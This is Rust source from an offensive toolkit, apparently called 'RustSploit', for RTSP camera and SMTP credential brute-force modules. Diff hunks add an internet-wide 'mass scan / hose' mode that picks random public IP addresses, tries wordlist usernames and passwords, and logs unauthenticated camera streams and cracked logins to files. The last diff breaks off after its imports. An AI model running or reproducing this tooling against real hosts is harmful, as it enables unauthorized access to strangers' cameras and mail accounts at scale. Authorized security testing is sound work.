sync::atomic::{AtomicBool, AtomicUsize, Ordering},
time::Duration,
collections::HashSet,
};
use tokio::{
io::{AsyncReadExt, AsyncWriteExt},
net::TcpStream,
sync::{Mutex, Semaphore},
time::{sleep, timeout},
fs::OpenOptions,
};
use rand::Rng;
use crate::utils::{
prompt_yes_no, prompt_existing_file, prompt_default, prompt_int_range, prompt_port,
load_lines, get_filename_in_current_dir, normalize_target,
};
use crate::modules::creds::utils::BruteforceStats;
const PROGRESS_INTERVAL_SECS: u64 = 5;
const MASS_SCAN_CONNECT_TIMEOUT_MS: u64 = 3000;
const STATE_FILE: &str = "rtsp_mass_state.log";
// Hardcoded exclusions (Private + Cloudflare + Google + Link Local etc)
const EXCLUDED_RANGES: &[&str] = &[
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", // Private
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8", // Multicast/Reserved
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32", // Carrier/LinkLocal/Broadcast
// Cloudflare
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
"1.1.1.1/32", "1.0.0.1/32",
// Google
"8.8.8.8/32", "8.8.4.4/32"
];
#[derive(Debug, Clone, PartialEq)]
enum AuthMethod {
None,
Basic,
Digest { realm: String, nonce: String },
Unknown,
}
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ RTSP Brute Force Module ║".cyan());
println!("{}", "║ IP Camera and Streaming Server Credential Testing ║".cyan());
println!("{}", "║ Supports Basic & Digest Auth, Mass Scanning ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// Main entry point for the RTSP brute force module.
pub async fn run(target: &str) -> Result<()> {
display_banner();
// Check for Mass Scan Mode conditions
let is_mass_scan = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0" || target.contains('/') || std::path::Path::new(target).is_file();
println!("{}", format!("[*] Target: {}", target).cyan());
if is_mass_scan {
println!("{}", "[*] Mode: Mass Scan".yellow());
return run_mass_scan(target).await;
}
run_single_target(target).await
}
async fn run_single_target(target: &str) -> Result<()> {
let port: u16 = prompt_port("RTSP Port", 554)?;
let usernames_file = prompt_existing_file("Username wordlist")?;
let passwords_file = prompt_existing_file("Password wordlist")?;
let concurrency = prompt_int_range("Max concurrent tasks", 10, 1, 10000)? as usize;
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let _save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if _save_results {
Some(prompt_default("Output file", "rtsp_results.txt")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
// Extract RTSP path if present (e.g., rtsp://host:port/path -> path)
let implicit_path = extract_rtsp_path(target);
// Normalize target and add port if needed
let target_normalized = if target.starts_with("rtsp://") {
target.strip_prefix("rtsp://")
.expect("Target starts with rtsp://")
.split('/')
.next()
.unwrap_or(target)
} else {
target.split('/').next().unwrap_or(target)
};
let normalized = normalize_target(target_normalized)?;
let addr = if normalized.contains(':') {
normalized
} else {
format!("{}:{}", normalized, port)
};
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(AtomicBool::new(false));
let stats = Arc::new(BruteforceStats::new());
let semaphore = Arc::new(Semaphore::new(concurrency));
println!("\n[*] Starting brute-force on {}", addr);
let resolved_addrs = match resolve_targets(&addr, port).await {
Ok(addrs) => Arc::new(addrs),
Err(e) => {
eprintln!("[!] Failed to resolve '{}': {}", addr, e);
return Err(e);
}
};
let users = load_lines(&usernames_file)?;
if users.is_empty() {
println!("[!] Username wordlist is empty. Exiting.");
return Ok(());
}
let pass_lines = load_lines(&passwords_file)?;
if pass_lines.is_empty() {
println!("[!] Password wordlist is empty. Exiting.");
return Ok(());
}
let brute_force_paths = prompt_yes_no("Brute force possible RTSP paths (e.g. /stream /live)?", false)?;
let mut paths = if brute_force_paths {
let paths_file = prompt_existing_file("Path to RTSP paths file")?;
load_lines(&paths_file)?
} else {
vec!["".to_string()]
};
if paths.is_empty() {
println!("[!] RTSP paths list is empty. Falling back to default root path.");
paths.push(String::new());
}
if let Some(p) = implicit_path {
if !paths.iter().any(|existing| existing == &p) {
paths.insert(0, p);
}
}
println!();
println!("[*] Probing authentication method on default path...", );
let initial_path = paths.first().cloned().unwrap_or_default();
let probe_result = probe_auth_method(resolved_addrs.as_slice(), &addr, &initial_path).await;
let default_auth_method = match probe_result {
Ok(AuthMethod::None) => {
println!("{}", "[+] Target allows Unauthenticated Access!".green().bold());
// If user wants to stop on success, we are done?
// We should record this.
found.lock().await.push((addr.clone(), "<NO_AUTH>".to_string(), "<NO_AUTH>".to_string(), initial_path.clone()));
if stop_on_success {
println!("[+] Stopping due to unauthenticated access.");
return Ok(());
}
AuthMethod::None
},
Ok(AuthMethod::Basic) => {
println!("{} Detected Auth: Basic", "[*]".blue());
AuthMethod::Basic
},
Ok(AuthMethod::Digest { realm, nonce }) => {
println!("{} Detected Auth: Digest (Realm: {})", "[*]".blue(), realm);
AuthMethod::Digest { realm, nonce }
},
Ok(AuthMethod::Unknown) => {
println!("{} Unknown auth or connection error. Will default to Basic or probing.", "[!]".yellow());
AuthMethod::Unknown
},
Err(e) => {
println!("{} Probe failed: {}. Will continue knowing nothing.", "[!]".red(), e);
AuthMethod::Unknown
}
};
// Start progress reporter
let stats_clone = stats.clone();
let stop_clone = stop.clone();
tokio::spawn(async move {
loop {
if stop_clone.load(Ordering::Relaxed) {
break;
}
stats_clone.print_progress();
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
}
});
let mut tasks = FuturesUnordered::new();
let mut idx = 0usize;
for pass in pass_lines {
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
let userlist: Vec<String> = if combo_mode {
users.clone()
} else {
vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
};
for user in userlist {
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
for path in &paths {
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
let addr_clone = addr.clone();
let user_clone = user.clone();
let pass_clone = pass.clone();
let path_clone = path.clone();
let found_clone = Arc::clone(&found);
let stop_clone = Arc::clone(&stop);
let stats_clone = Arc::clone(&stats);
let semaphore_clone = Arc::clone(&semaphore);
let addrs_clone = Arc::clone(&resolved_addrs);
let stop_flag = stop_on_success;
let verbose_flag = verbose;
// If we know detected method, use it as a hint.
let cached_method = default_auth_method.clone();
tasks.push(tokio::spawn(async move {
if stop_flag && stop_clone.load(Ordering::Relaxed) { return; }
let _permit = match semaphore_clone.acquire().await {
Ok(p) => p,
Err(_) => return,
};
if stop_flag && stop_clone.load(Ordering::Relaxed) { return; }
match try_rtsp_login_smart(
addrs_clone.as_slice(),
&addr_clone,
&user_clone,
&pass_clone,
&path_clone,
&cached_method,
).await {
Ok(true) => {
let path_str = if path_clone.is_empty() { "/" } else { &path_clone };
println!("\r{}", format!("[+] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_str).green().bold());
found_clone.lock().await.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone(), path_str.to_string()));
stats_clone.record_success();
if stop_flag {
stop_clone.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
stats_clone.record_failure();
if verbose_flag {
println!("\r{}", format!("[-] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_clone).dimmed());
}
}
Err(e) => {
stats_clone.record_error(e.to_string()).await;
if verbose_flag {
println!("\r{}", format!("[!] {} -> error: {}", addr_clone, e).red());
}
}
}
}));
}
}
idx += 1;
}
while let Some(res) = tasks.next().await {
if let Err(e) = res {
stats.record_error(format!("Task panic: {}", e)).await;
}
}
// Stop progress reporter
stop.store(true, Ordering::Relaxed);
// Print final statistics
stats.print_final().await;
let creds = found.lock().await;
if creds.is_empty() {
println!("{}", "[-] No credentials found.".yellow());
} else {
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
if let Some(path) = save_path {
let filename = get_filename_in_current_dir(&path);
if let Ok(mut file) = File::create(&filename) {
for (host, user, pass, path) in creds.iter() {
let _ = writeln!(file, "{} -> {}:{} [path={}]", host, user, pass, path);
}
println!("[+] Results saved to '{}'", filename.display());
}
}
}
Ok(())
}
/// Run mass scan logic
async fn run_mass_scan(target: &str) -> Result<()> {
// Prep wordlists
println!("{}", "[*] Preparing Mass Scan configuration...".blue());
let port: u16 = prompt_port("RTSP Port", 554)?;
let usernames_file = prompt_existing_file("Username wordlist")?;
let passwords_file = prompt_existing_file("Password wordlist")?;
let paths_file = prompt_existing_file("RTSP paths file (empty for none/root)")?;
let users = load_lines(&usernames_file)?;
let pass_lines = load_lines(&passwords_file)?;
let mut paths = load_lines(&paths_file)?;
if paths.is_empty() {
paths.push("".to_string());
}
if users.is_empty() || pass_lines.is_empty() {
return Err(anyhow!("Wordlists cannot be empty"));
}
let concurrency = prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000)? as usize;
let verbose = prompt_yes_no("Verbose mode?", false)?;
let output_file = prompt_default("Output result file", "rtsp_mass_results.txt")?;
// Parse exclusions
let mut exclusion_subnets = Vec::new();
for cidr in EXCLUDED_RANGES {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusion_subnets.push(net);
}
}
let exclusions = Arc::new(exclusion_subnets);
// Shared State
let semaphore = Arc::new(Semaphore::new(concurrency));
let stats_checked = Arc::new(AtomicUsize::new(0));
let stats_found = Arc::new(AtomicUsize::new(0));
let creds_pkg = Arc::new((users, pass_lines, paths));
// Stats Reporter
let s_checked = stats_checked.clone();
let s_found = stats_found.clone();
tokio::spawn(async move {
loop {
tokio::time::sleep(Duration::from_secs(5)).await;
println!(
"[*] Status: {} IPs scanned, {} RTSP streams found",
s_checked.load(Ordering::Relaxed),
s_found.load(Ordering::Relaxed).to_string().green().bold()
);
}
});
let run_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0";
let mut checked_ips = HashSet::new();
if run_random {
if std::path::Path::new(STATE_FILE).exists() {
println!("{} Loading state file...", "[*]".blue());
if let Ok(file) = File::open(STATE_FILE) {
let reader = BufReader::new(file);
for line in reader.lines() {
if let Ok(l) = line {
if let Some(ip) = l.strip_prefix("checked: ") {
checked_ips.insert(ip.trim().to_string());
}
}
}
}
println!("{} Loaded {} checked IPs.", "[+]".green(), checked_ips.len());
}
}
let checked_set = Arc::new(Mutex::new(checked_ips));
if run_random {
OpenOptions::new().create(true).append(true).open(STATE_FILE).await?;
println!("{}", "[*] Starting Random Internet Scan...".green());
loop {
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
let exc = exclusions.clone();
let cp = creds_pkg.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
let of = output_file.clone();
let c_set = checked_set.clone();
tokio::spawn(async move {
let ip = generate_random_public_ip(&exc);
let ip_s = ip.to_string();
let is_checked = {
let set = c_set.lock().await;
set.contains(&ip_s)
};
if !is_checked {
{
let mut set = c_set.lock().await;
set.insert(ip_s.clone());
}
mark_ip_checked_file(&ip_s).await;
mass_scan_host(ip, port, cp, sf, of, verbose).await;
}
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
}
} else {
let targets: Vec<String> = if std::path::Path::new(target).is_file() {
let content = tokio::fs::read_to_string(target).await.unwrap_or_default();
content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect()
} else if target.contains('/') {
if let Ok(net) = target.parse::<ipnetwork::IpNetwork>() {
net.iter().map(|ip| ip.to_string()).collect()
} else {
vec![target.to_string()]
}
} else {
vec![target.to_string()]
};
println!("{}", format!("[*] Loaded {} targets.", targets.len()).blue());
for ip_str in targets {
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
let cp = creds_pkg.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
let of = output_file.clone();
let ip_addr = match ip_str.parse::<IpAddr>() {
Ok(ip) => Some(ip),
Err(_) => {
match tokio::net::lookup_host(format!("{}:{}", ip_str, port)).await {
Ok(mut iter) => iter.next().map(|s| s.ip()),
Err(_) => None
}
}
};
tokio::spawn(async move {
if let Some(ip) = ip_addr {
mass_scan_host(ip, port, cp, sf, of, verbose).await;
}
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
}
for _ in 0..concurrency {
let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?;
}
}
Ok(())
}
async fn mass_scan_host(
ip: IpAddr,
port: u16,
creds: Arc<(Vec<String>, Vec<String>, Vec<String>)>,
stats_found: Arc<AtomicUsize>,
output_file: String,
verbose: bool
) {
let sa = SocketAddr::new(ip, port);
// 1. Connection Check (Fast Fail)
if timeout(Duration::from_millis(MASS_SCAN_CONNECT_TIMEOUT_MS), TcpStream::connect(&sa)).await.is_err() {
return;
}
// Probe once to determine method
let (users, passes, paths) = &*creds;
// We try to probe the preferred path (usually first one or root)
let probe_path = paths.first().cloned().unwrap_or_default();
let addrs = [sa];
// For mass scan, we might fail probe due to timeout, just return then.
// If Unauth, we log and return success immediately!
let auth_method = match probe_auth_method(&addrs, &sa.to_string(), &probe_path).await {
Ok(AuthMethod::None) => {
// Found open!
let result_str = format!("{} -> <NO_AUTH>:<NO_AUTH> [path={}]", sa, probe_path);
println!("\r{}", format!("[+] FOUND: {}", result_str).green().bold());
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(&output_file).await {
let _ = file.write_all(format!("{}\n", result_str).as_bytes()).await;
}
stats_found.fetch_add(1, Ordering::Relaxed);
return;
},
Ok(m) => m,
Err(_) => return, // Failed to probe, host likely gone
};
for path in paths {
for user in users {
for pass in passes {
let res = try_rtsp_login_smart(
&addrs,
&sa.to_string(),
user,
pass,
path,
&auth_method
).await;
match res {
Ok(true) => {
let result_str = format!("{} -> {}:{} [path={}]", sa, user, pass, path);
println!("\r{}", format!("[+] FOUND: {}", result_str).green().bold());
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(&output_file).await {
let _ = file.write_all(format!("{}\n", result_str).as_bytes()).await;
}
stats_found.fetch_add(1, Ordering::Relaxed);
return;
}
Ok(false) => {}
Err(e) => {
let err_str = e.to_string().to_lowercase();
if err_str.contains("refused") || err_str.contains("timeout") || err_str.contains("reset") {
return;
}
if verbose {
println!("\r{}", format!("[!] {} -> error: {}", sa, e).red());
}
}
}
}
}
}
}
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
let mut rng = rand::rng();
loop {
let octets: [u8; 4] = rng.random();
let ip = Ipv4Addr::from(octets);
let ip_addr = IpAddr::V4(ip);
let mut excluded = false;
for net in exclusions {
if net.contains(ip_addr) {
excluded = true;
break;
}
}
if !excluded {
return ip_addr;
}
}
}
async fn mark_ip_checked_file(ip: &str) {
let data = format!("checked: {}\n", ip);
if let Ok(mut file) = OpenOptions::new()
.create(true)
.append(true)
.open(STATE_FILE)
.await
{
let _ = file.write_all(data.as_bytes()).await;
}
}
/// Resolve a host:port for single target mode
async fn resolve_targets(addr: &str, default_port: u16) -> Result<Vec<SocketAddr>> {
if let Ok(sa) = addr.parse::<SocketAddr>() {
return Ok(vec![sa]);
}
let (host, port) = if let Some((h, p)) = addr.rsplit_once(':') {
(h.to_string(), p.parse().unwrap_or(default_port))
} else {
(addr.to_string(), default_port)
};
let host_clean = host.trim_matches(|c| c == '[' || c == ']').to_string();
let host_port = if host_clean.contains(':') {
format!("[{}]:{}", host_clean, port)
} else {
format!("{}:{}", host_clean, port)
};
let addrs = tokio::net::lookup_host(host_port.clone())
.await
.map_err(|e| anyhow!("DNS lookup '{}': {}", host_port, e))?
.collect::<Vec<_>>();
if addrs.is_empty() {
Err(anyhow!("No addresses found for '{}'", host_port))
} else {
Ok(addrs)
}
}
// ------ RTSP Logic ------
async fn connect_to_any(addrs: &[SocketAddr]) -> Result<(TcpStream, SocketAddr)> {
let mut last_err = None;
for sa in addrs {
// Connect timeout
match timeout(Duration::from_millis(MASS_SCAN_CONNECT_TIMEOUT_MS), TcpStream::connect(*sa)).await {
Ok(Ok(s)) => return Ok((s, *sa)),
Ok(Err(e)) => { last_err = Some(e); continue; }
Err(_) => { last_err = Some(std::io::Error::new(std::io::ErrorKind::TimedOut, "Connect timeout")); continue; }
}
}
Err(last_err.map(|e| e.into()).unwrap_or_else(|| anyhow!("All connection attempts failed")))
}
async fn send_request(stream: &mut TcpStream, request: &str) -> Result<String> {
stream.write_all(request.as_bytes()).await?;
let mut buffer = [0u8; 2048];
// Read timeout
let n = match timeout(Duration::from_millis(MASS_SCAN_CONNECT_TIMEOUT_MS), stream.read(&mut buffer)).await {
Ok(Ok(n)) => n,
Ok(Err(e)) => return Err(e.into()),
Err(_) => return Err(anyhow!("Read timeout")),
};
if n == 0 {
return Err(anyhow!("Connection closed by server"));
}
Ok(String::from_utf8_lossy(&buffer[..n]).to_string())
}
/// Probes the server to determine supported auth method
async fn probe_auth_method(addrs: &[SocketAddr], _addr_display: &str, path: &str) -> Result<AuthMethod> {
let (mut stream, sa) = connect_to_any(addrs).await?;
let path_str = if path.is_empty() { "/" } else { path };
let method = "DESCRIBE";
// Send unauthenticated request
let request = format!(
"{method} rtsp://{host}:{port}/{path} RTSP/1.0\r\nCSeq: 1\r\n\r\n",
method = method,
host = sa.ip(),
port = sa.port(),
path = path_str.trim_start_matches('/')
);
let response = send_request(&mut stream, &request).await?;
if response.contains("200 OK") {
return Ok(AuthMethod::None);
}
if response.contains("401 Unauthorized") {
if response.contains("Digest") {
// Parse Realm and Nonce
// WWW-Authenticate: Digest realm="HipcamRealServer", nonce="3b27a446bfa49b0c48c3edb631e09054"
let realm = extract_header_value(&response, "realm=\"", "\"");
let nonce = extract_header_value(&response, "nonce=\"", "\"");
if let (Some(r), Some(n)) = (realm, nonce) {
return Ok(AuthMethod::Digest { realm: r, nonce: n });
}
} else if response.contains("Basic") {
return Ok(AuthMethod::Basic);
}
}
Ok(AuthMethod::Unknown)
}
fn extract_header_value(response: &str, start_marker: &str, end_marker: &str) -> Option<String> {
if let Some(start) = response.find(start_marker) {
let remainder = &response[start + start_marker.len()..];
if let Some(end) = remainder.find(end_marker) {
return Some(remainder[..end].to_string());
}
}
None
}
async fn try_rtsp_login_smart(
addrs: &[SocketAddr],
addr_display: &str,
user: &str,
pass: &str,
path: &str,
auth_method: &AuthMethod,
) -> Result<bool> {
let method_to_use = if let AuthMethod::Unknown = auth_method {
probe_auth_method(addrs, addr_display, path).await.unwrap_or(AuthMethod::Basic)
} else {
auth_method.clone()
};
let (mut stream, sa) = connect_to_any(addrs).await?;
let rtsp_verb = "DESCRIBE";
let path_str = if path.is_empty() { "/" } else { path };
let path_clean = path_str.trim_start_matches('/');
let uri = format!("rtsp://{}:{}/{}", sa.ip(), sa.port(), path_clean);
let auth_header = match method_to_use {
AuthMethod::None => return Ok(true),
AuthMethod::Basic => {
let credentials = Base64.encode(format!("{}:{}", user, pass));
format!("Authorization: Basic {}", credentials)
},
AuthMethod::Digest { ref realm, ref nonce } => {
let ha1 = format!("{:x}", md5::compute(format!("{}:{}:{}", user, realm, pass)));
let ha2 = format!("{:x}", md5::compute(format!("{}:{}", rtsp_verb, uri)));
let response = format!("{:x}", md5::compute(format!("{}:{}:{}", ha1, nonce, ha2)));
format!(
"Authorization: Digest username=\"{}\", realm=\"{}\", nonce=\"{}\", uri=\"{}\", response=\"{}\"",
user, realm, nonce, uri, response
)
},
AuthMethod::Unknown => return Ok(false),
};
let request = format!(
"{method} {uri} RTSP/1.0\r\nCSeq: 2\r\n{auth}\r\n\r\n",
method = rtsp_verb,
uri = uri,
auth = auth_header
);
let response = send_request(&mut stream, &request).await?;
if response.contains("200 OK") {
Ok(true)
} else {
Ok(false)
}
}
fn extract_rtsp_path(target: &str) -> Option<String> {
let trimmed = target.trim();
let without_scheme = trimmed.strip_prefix("rtsp://").unwrap_or(trimmed);
if let Some((_, path)) = without_scheme.split_once('/') {
let clean_path = path.split(|c| c == '?' || c == '#')
.next()
.unwrap_or_default()
.trim();
if clean_path.is_empty() || clean_path == "/" {
None
} else {
let mut final_path = clean_path.to_string();
if !final_path.starts_with('/') {
final_path.insert(0, '/');
}
Some(final_path)
}
} else {
None
}
}
@@ -1,8 +1,9 @@
use anyhow::{anyhow, Context, Result};
use colored::*;
use std::net::{TcpStream, ToSocketAddrs};
use std::net::{ToSocketAddrs, IpAddr, SocketAddr};
use std::net::TcpStream;
use std::sync::{
atomic::{AtomicBool, Ordering},
atomic::{AtomicBool, AtomicUsize, Ordering},
Arc,
};
use std::time::Duration;
@@ -10,12 +11,32 @@ use tokio::sync::{Mutex, Semaphore};
use futures::stream::{FuturesUnordered, StreamExt};
use telnet::{Telnet, Event};
use base64::{engine::general_purpose, Engine as _};
use tokio::io::AsyncWriteExt;
use tokio::fs::OpenOptions;
use crate::utils::{
prompt_yes_no, prompt_existing_file, prompt_int_range,
load_lines, prompt_default,
};
use crate::modules::creds::utils::BruteforceStats;
use crate::modules::creds::utils::{BruteforceStats, generate_random_public_ip, is_ip_checked, mark_ip_checked, parse_exclusions};
const STATE_FILE: &str = "smtp_hose_state.log";
const MASS_SCAN_CONNECT_TIMEOUT_MS: u64 = 3000;
// Hardcoded exclusions
const EXCLUDED_RANGES: &[&str] = &[
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
// Cloudflare
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
"1.1.1.1/32", "1.0.0.1/32",
// Google
"8.8.8.8/32", "8.8.4.4/32"
];
#[derive(Clone)]
struct SmtpBruteforceConfig {
@@ -34,18 +55,29 @@ struct SmtpBruteforceConfig {
pub async fn run(target: &str) -> Result<()> {
println!("\n{}", "=== SMTP Bruteforce Module (RustSploit) ===".bold().cyan());
println!();
// Check for Mass Scan Mode conditions
let is_mass_scan = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0" || std::path::Path::new(target).is_file();
if is_mass_scan {
println!("{}", format!("[*] Target: {}", target).cyan());
println!("{}", "[*] Mode: Mass Scan / Hose".yellow());
return run_mass_scan(target).await;
}
// --- Standard Single Target Logic ---
let port = prompt_int_range("Port", 25, 1, 65535).await? as u16;
let username_wordlist = prompt_existing_file("Username wordlist file").await?;
let password_wordlist = prompt_existing_file("Password wordlist file").await?;
let port = prompt_int_range("Port", 25, 1, 65535)? as u16;
let username_wordlist = prompt_existing_file("Username wordlist file")?;
let password_wordlist = prompt_existing_file("Password wordlist file")?;
let threads = prompt_int_range("Threads", 8, 1, 256).await? as usize;
let delay_ms = prompt_int_range("Delay (ms)", 50, 0, 10000).await? as u64;
let threads = prompt_int_range("Threads", 8, 1, 256)? as usize;
let delay_ms = prompt_int_range("Delay (ms)", 50, 0, 10000)? as u64;
let stop_on_success = prompt_yes_no("Stop on first valid login?", true).await?;
let full_combo = prompt_yes_no("Try every username with every password?", false).await?;
let verbose = prompt_yes_no("Verbose mode?", false).await?;
let output_file = prompt_default("Output file for results", "smtp_results.txt").await?;
let stop_on_success = prompt_yes_no("Stop on first valid login?", true)?;
let full_combo = prompt_yes_no("Try every username with every password?", false)?;
let verbose = prompt_yes_no("Verbose mode?", false)?;
let output_file = prompt_default("Output file for results", "smtp_results.txt")?;
let config = SmtpBruteforceConfig {
target: target.to_string(),
@@ -64,6 +96,172 @@ pub async fn run(target: &str) -> Result<()> {
run_smtp_bruteforce(config).await
}
async fn run_mass_scan(target: &str) -> Result<()> {
// Prep
let port = prompt_int_range("Port", 25, 1, 65535)? as u16;
let usernames_file = prompt_existing_file("Username wordlist")?;
let passwords_file = prompt_existing_file("Password wordlist")?;
let users = load_lines(&usernames_file)?;
let pass_lines = load_lines(&passwords_file)?;
if users.is_empty() { return Err(anyhow!("User list empty")); }
if pass_lines.is_empty() { return Err(anyhow!("Pass list empty")); }
let concurrency = prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000)? as usize;
let verbose = prompt_yes_no("Verbose mode?", false)?;
let output_file = prompt_default("Output result file", "smtp_mass_results.txt")?;
// Parse exclusions
let exclusions = Arc::new(parse_exclusions(EXCLUDED_RANGES));
let semaphore = Arc::new(Semaphore::new(concurrency));
let stats_checked = Arc::new(AtomicUsize::new(0));
let stats_found = Arc::new(AtomicUsize::new(0));
let creds_pkg = Arc::new((users, pass_lines));
// Stats
let s_checked = stats_checked.clone();
let s_found = stats_found.clone();
tokio::spawn(async move {
loop {
tokio::time::sleep(Duration::from_secs(5)).await;
println!(
"[*] Status: {} IPs scanned, {} valid SMTP credentials found",
s_checked.load(Ordering::Relaxed),
s_found.load(Ordering::Relaxed).to_string().green().bold()
);
}
});
let run_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0";
if run_random {
println!("{}", "[*] Starting Random Internet Scan...".green());
loop {
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
let exc = exclusions.clone();
let cp = creds_pkg.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
let of = output_file.clone();
tokio::spawn(async move {
let ip = generate_random_public_ip(&exc);
if !is_ip_checked(&ip, STATE_FILE).await {
mark_ip_checked(&ip, STATE_FILE).await;
mass_scan_host(ip, port, cp, sf, of, verbose).await;
}
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
}
} else {
// File Mode
let content = tokio::fs::read_to_string(target).await.unwrap_or_default();
let lines: Vec<String> = content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect();
println!("{}", format!("[*] Loaded {} targets from file.", lines.len()).blue());
for ip_str in lines {
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
let cp = creds_pkg.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
let of = output_file.clone();
if let Ok(ip) = ip_str.parse::<IpAddr>() {
tokio::spawn(async move {
if !is_ip_checked(&ip, STATE_FILE).await {
mark_ip_checked(&ip, STATE_FILE).await;
mass_scan_host(ip, port, cp, sf, of, verbose).await;
}
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
} else {
drop(permit);
}
}
for _ in 0..concurrency {
let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?;
}
}
Ok(())
}
async fn mass_scan_host(
ip: IpAddr,
port: u16,
creds: Arc<(Vec<String>, Vec<String>)>,
stats_found: Arc<AtomicUsize>,
output_file: String,
verbose: bool
) {
let sa = SocketAddr::new(ip, port);
// 1. Connection Check
if tokio::time::timeout(Duration::from_millis(MASS_SCAN_CONNECT_TIMEOUT_MS), tokio::net::TcpStream::connect(&sa)).await.is_err() {
return;
}
let (users, passes) = &*creds;
// 2. Bruteforce
// Reuse existing blocking sync function inside spawn_blocking?
// The existing function uses std::net::TcpStream blocking.
// That's fine for small lists, but suboptimal for high concurrency.
// However, since we are inside a spawned tokio task, spawn_blocking is appropriate.
let target_str = ip.to_string();
for user in users {
for pass in passes {
let t_target = target_str.clone();
let t_user = user.clone();
let t_pass = pass.clone();
let t_port = port;
let t_target_inner = t_target.clone();
let t_user_inner = t_user.clone();
let t_pass_inner = t_pass.clone();
// Blocking call for the actual SMTP interaction (since it uses blocking Telnet/TcpStream)
let res = tokio::task::spawn_blocking(move || {
try_smtp_login(&t_target_inner, t_port, &t_user_inner, &t_pass_inner)
}).await;
match res {
Ok(Ok(true)) => {
let msg = format!("{} -> {}:{}", t_target, t_user, t_pass);
println!("\r{}", format!("[+] FOUND: {}", msg).green().bold());
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(&output_file).await {
let _ = file.write_all(format!("{}\n", msg).as_bytes()).await;
}
stats_found.fetch_add(1, Ordering::Relaxed);
return; // Stop after first success
}
Ok(Ok(false)) => {
if verbose {
// Auth failed
}
}
Ok(Err(e)) => {
// Connection error
let err = e.to_string().to_lowercase();
if err.contains("refused") || err.contains("timeout") || err.contains("reset") {
return; // Stop scanning host
}
}
Err(_) => {
// Start/Join error
}
}
}
}
}
async fn run_smtp_bruteforce(config: SmtpBruteforceConfig) -> Result<()> {
let usernames = load_lines(&config.username_wordlist)?;
let passwords = load_lines(&config.password_wordlist)?;
@@ -293,3 +491,5 @@ fn try_smtp_login(target: &str, port: u16, username: &str, password: &str) -> Re
Ok(false)
}
@@ -1,28 +1,46 @@
use anyhow::{anyhow, Result};
use anyhow::{anyhow, Result, Context};
use colored::*;
use futures::stream::{FuturesUnordered, StreamExt};
use std::{
io::Write,
net::{SocketAddr, UdpSocket},
net::{SocketAddr, UdpSocket, IpAddr},
sync::Arc,
sync::atomic::{AtomicBool, AtomicUsize, Ordering},
time::{Duration, Instant},
};
use std::sync::atomic::{AtomicBool, Ordering};
use tokio::{
sync::Mutex,
sync::Semaphore,
task::spawn_blocking,
time::sleep,
fs::OpenOptions,
io::AsyncWriteExt,
};
use crate::utils::{
prompt_yes_no, prompt_existing_file, prompt_int_range,
load_lines, prompt_default, normalize_target,
};
use crate::modules::creds::utils::BruteforceStats;
